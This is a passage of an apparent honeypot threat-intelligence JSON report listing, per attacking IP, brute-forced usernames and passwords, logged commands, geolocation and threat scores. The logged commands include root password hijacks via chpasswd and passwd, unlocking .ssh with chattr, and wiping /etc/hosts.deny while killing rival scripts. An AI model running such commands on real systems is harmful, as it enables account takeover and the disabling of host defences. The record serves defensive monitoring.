      "first_seen": "2026-05-15T17:15:21.604Z",
      "last_seen": "2026-05-24T15:57:56.089Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "backupuser",
        "cc",
        "dbus-helper",
        "pakchoi",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234",
        "123admin",
        "1923",
        "Ab123456@",
        "Kermit123@",
        "Passw0rd@2024",
        "Test12345",
        "a123456789",
        "cc",
        "change",
        "dominator",
        "emma123",
        "hola1234",
        "inspur",
        "lefty",
        "monster",
        "opc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:F548shKIa6Rs\"|chpasswd|bash",
        "echo \"root:kaz42ATqPyEO\"|chpasswd|bash",
        "echo \"root:neq3P4PCNm9r\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": null,
      "asn": 27866,
      "as_org": "COMPANIA PARAGUAYA DE COMUNICACIONES S.A. COPACO S.A.",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:15:21.604000+00:00",
        "last_seen_30d": "2026-05-24T15:59:01.231000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 82
      }
    },
    "220.247.224.226": {
      "attack_count": 218,
      "first_seen": "2026-05-29T09:45:45.304Z",
      "last_seen": "2026-05-29T10:14:06.969Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mohsen",
        "user",
        "admin",
        "ftpd",
        "git",
        "himanshu",
        "max",
        "sysuser",
        "test1"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX1qaz2wsx",
        "123!@#qweQWE",
        "1997",
        "Abcd1234$",
        "ankit123",
        "asdf",
        "fai",
        "fjbdfdjkdsfs541544",
        "google2",
        "himanshu",
        "max",
        "mohsen123",
        "root!@#$",
        "sysuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123!@#qweQWE\\nCmI4jZoejguM\\nCmI4jZoejguM\\n\"|passwd",
        "echo \"mohsen123\\nvBp8CCe81pzd\\nvBp8CCe81pzd\\n\"|passwd",
        "echo -e \"123!@#qweQWE\\nCmI4jZoejguM\\nCmI4jZoejguM\"|passwd|bash",
        "echo -e \"mohsen123\\nvBp8CCe81pzd\\nvBp8CCe81pzd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sri Lanka",
      "country_code": "LK",
      "city": "Meegoda",
      "asn": 9329,
      "as_org": "Sri Lanka Telecom Internet",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T09:45:45.304000+00:00",
        "last_seen_30d": "2026-05-29T10:15:11.732000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 46
      }
    },
    "20.187.153.135": {
      "attack_count": 213,
      "first_seen": "2026-05-29T20:22:36.737Z",
      "last_seen": "2026-05-29T20:58:19.405Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "opc",
        "oussama",
        "lekaren",
        "test_user",
        "tim",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!Qaz2wsx",
        "12345",
        "123qwe",
        "Aa12345",
        "Asd12345678",
        "Newpassword123!",
        "Zxcv123456",
        "a123123.",
        "aaa123123",
        "dd",
        "lekaren",
        "oussama",
        "q1w2e3r4t5y6"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\n0DbzUHwtqHZp\\n0DbzUHwtqHZp\\n\"|passwd",
        "echo \"oussama\\nuwBfat1DJNQp\\nuwBfat1DJNQp\\n\"|passwd",
        "echo -e \"12345\\n0DbzUHwtqHZp\\n0DbzUHwtqHZp\"|passwd|bash",
        "echo -e \"oussama\\nuwBfat1DJNQp\\nuwBfat1DJNQp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T20:22:36.737000+00:00",
        "last_seen_30d": "2026-05-29T20:59:25.104000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "175.9.152.239": {
      "attack_count": 200,
      "first_seen": "2026-05-19T06:57:19.918Z",
      "last_seen": "2026-05-19T17:56:15.936Z",
      "sessions": 100,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:57:19.918000+00:00",
        "last_seen_30d": "2026-05-19T17:57:21.322000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 200,
        "Suricata": 106
      }
    },
    "182.32.217.40": {
      "attack_count": 182,
      "first_seen": "2026-05-22T10:48:13.208Z",
      "last_seen": "2026-05-22T20:23:53.605Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 279,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:35:27.611000+00:00",
        "last_seen_30d": "2026-05-22T20:25:02.793000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 97
      }
    },
    "113.221.11.108": {
      "attack_count": 178,
      "first_seen": "2026-05-19T06:27:46.866Z",
      "last_seen": "2026-05-22T20:24:16.886Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 274,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:27:46.866000+00:00",
        "last_seen_30d": "2026-05-22T20:25:24.679000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 96
      }
    },
    "89.44.76.242": {
      "attack_count": 174,
      "first_seen": "2026-05-13T19:12:49.762Z",
      "last_seen": "2026-05-13T19:53:37.831Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admini",
        "ansadmin",
        "bot",
        "dmdba",
        "egmzkeaq",
        "ftpuser",
        "hadi",
        "hl",
        "pgsql",
        "test",
        "test1",
        "user2",
        "username",
        "www",
        "zl"
      ],
      "passwords_attempted": [
        "0123456789",
        "1",
        "123",
        "1234!qwer",
        "123456",
        "123456aA@",
        "123@qweASD",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Kk123456@",
        "Server@2026",
        "admini",
        "ansadmin",
        "cguD9AaqJ6jN",
        "dmdba2025",
        "ftp1234",
        "hl",
        "pgsql",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456aA@\\nzqAOYdlrIFzk\\nzqAOYdlrIFzk\\n\"|passwd",
        "echo -e \"123456aA@\\nzqAOYdlrIFzk\\nzqAOYdlrIFzk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 213459,
      "as_org": "Snowd Security OU",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 237,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:12:49.762000+00:00",
        "last_seen_30d": "2026-05-13T19:54:46.875000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 63
      }
    },
    "174.35.25.181": {
      "attack_count": 164,
      "first_seen": "2026-05-25T12:33:55.649Z",
      "last_seen": "2026-05-25T13:33:59.426Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "keith",
        "345gs5662d34",
        "claude",
        "cloud",
        "curl",
        "frappe",
        "hostinger",
        "hung",
        "incoming",
        "kali",
        "mcserver",
        "pzuser",
        "steam",
        "t1",
        "test"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Passw0rd",
        "Wangsu@2017",
        "claude123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "hostinger",
        "hung",
        "kali",
        "keith",
        "palworld",
        "qa147258",
        "root_123",
        "t1",
        "test",
        "welltech12",
        "yh@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"keith\\n4j0lARfflj8C\\n4j0lARfflj8C\\n\"|passwd",
        "echo -e \"keith\\n4j0lARfflj8C\\n4j0lARfflj8C\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 54994,
      "as_org": "Meteverse Limited.",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T12:33:55.649000+00:00",
        "last_seen_30d": "2026-05-25T13:35:08.035000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 52
      }
    },
    "68.235.52.99": {
      "attack_count": 156,
      "first_seen": "2026-05-08T08:48:14.510Z",
      "last_seen": "2026-05-31T09:14:49.544Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:48:14.510000+00:00",
        "last_seen_30d": "2026-05-31T09:15:56.432000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "51.38.71.55": {
      "attack_count": 153,
      "first_seen": "2026-05-12T23:28:11.087Z",
      "last_seen": "2026-05-13T00:40:04.691Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456!@#$%^",
        "1927",
        "2071",
        "3245gs5662d34",
        "345gs5662d34",
        "Password@123",
        "Qazxsw123",
        "apn",
        "bulldog",
        "heriberto",
        "inge",
        "jancok",
        "mysql123",
        "nobe",
        "piper",
        "router",
        "sistema",
        "web!@#$%^&",
        "webmasterwebmaster"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:3MLDtiuA07AH\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T23:28:11.087000+00:00",
        "last_seen_30d": "2026-05-13T00:40:04.691000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 153,
        "Suricata": 44
      }
    },
    "112.247.247.240": {
      "attack_count": 146,
      "first_seen": "2026-05-23T08:06:35.506Z",
      "last_seen": "2026-05-23T14:00:07.779Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:06:35.506000+00:00",
        "last_seen_30d": "2026-05-23T14:01:09.936000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 146,
        "Suricata": 78
      }
    },
    "103.229.125.106": {
      "attack_count": 144,
      "first_seen": "2026-05-23T16:23:30.713Z",
      "last_seen": "2026-05-23T17:14:04.438Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "steam",
        "345gs5662d34",
        "flussonic",
        "ftpuser",
        "michael",
        "odoo17",
        "sammy",
        "test1",
        "unturned",
        "user1"
      ],
      "passwords_attempted": [
        "00001111",
        "112233",
        "12345",
        "12345678",
        "123456a",
        "123QWEasd!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "abcd",
        "admin123!@#",
        "flussonic",
        "michael2025",
        "odoo17@2025",
        "qwerty123",
        "root",
        "steampass",
        "unturned"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin123!@#\\nqP77BrjtvDsS\\nqP77BrjtvDsS\\n\"|passwd",
        "echo -e \"admin123!@#\\nqP77BrjtvDsS\\nqP77BrjtvDsS\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 24544,
      "as_org": "Laws Cloud Infrastructure Limited",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:23:30.713000+00:00",
        "last_seen_30d": "2026-05-23T17:15:05.203000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "110.164.228.242": {
      "attack_count": 144,
      "first_seen": "2026-05-24T15:25:39.358Z",
      "last_seen": "2026-05-24T16:24:46.966Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "carla",
        "345gs5662d34",
        "dong",
        "portal",
        "postgres",
        "sammy",
        "scott",
        "soporte",
        "usuario1",
        "vhserver"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "369369",
        "Admin123",
        "Erkan123",
        "Qaz123wsx",
        "Qwer123",
        "carla",
        "portal",
        "qazwsx@123",
        "qwert123!@#",
        "scott",
        "soporte2025",
        "t",
        "usuario1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"carla\\nCAUxtYCfl5ME\\nCAUxtYCfl5ME\\n\"|passwd",
        "echo -e \"carla\\nCAUxtYCfl5ME\\nCAUxtYCfl5ME\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Chiang Rai",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T15:25:39.358000+00:00",
        "last_seen_30d": "2026-05-24T16:25:50.620000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "223.150.228.171": {
      "attack_count": 138,
      "first_seen": "2026-05-23T08:04:30.009Z",
      "last_seen": "2026-05-23T14:03:11.069Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 210,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:04:30.009000+00:00",
        "last_seen_30d": "2026-05-23T14:04:21.034000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 138,
        "Suricata": 72
      }
    },
    "103.115.56.3": {
      "attack_count": 118,
      "first_seen": "2026-05-22T02:42:58.953Z",
      "last_seen": "2026-05-22T03:18:20.368Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "bet",
        "user"
      ],
      "passwords_attempted": [
        "111111",
        "1234QWER",
        "1qaz2wsx!",
        "2wsx#EDC",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdf1234",
        "QWEqwe123",
        "Salam@123",
        "admin1",
        "bet",
        "qwe123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:fWfN96QzNtlo\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T02:42:58.953000+00:00",
        "last_seen_30d": "2026-05-22T03:19:26.867000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "104.236.66.186": {
      "attack_count": 108,
